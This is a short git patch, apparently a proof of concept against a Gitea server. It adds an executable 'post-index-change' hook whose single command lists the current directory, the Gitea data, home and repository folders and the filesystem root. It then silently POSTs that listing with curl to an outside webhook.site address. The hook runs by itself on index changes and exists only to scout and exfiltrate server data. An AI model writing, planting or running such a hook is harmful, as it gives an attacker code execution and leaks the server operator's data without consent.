From 51a3f2c85012a5834d0c22a335f9f5d250d4bb24 Mon Sep 17 00:00:00 2001 From: pocuser_1793434766 Date: Sat, 31 Oct 2026 08:46:26 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 2 ++ 1 file changed, 2 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..82572c6 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +{ echo '=== PWD ==='; pwd; echo '=== /data/gitea ==='; ls -la /data/gitea; echo '=== /data/gitea/home ==='; ls -la /data/gitea/home; echo '=== / ==='; ls -la /; echo '=== repositories ==='; ls -la /data/gitea/repositories 2>/dev/null; } | curl -s -X POST --data-binary @- https://webhook.site/99ab378f-29f4-4f96-8bc3-6cfa9248563d >/dev/null 2>&1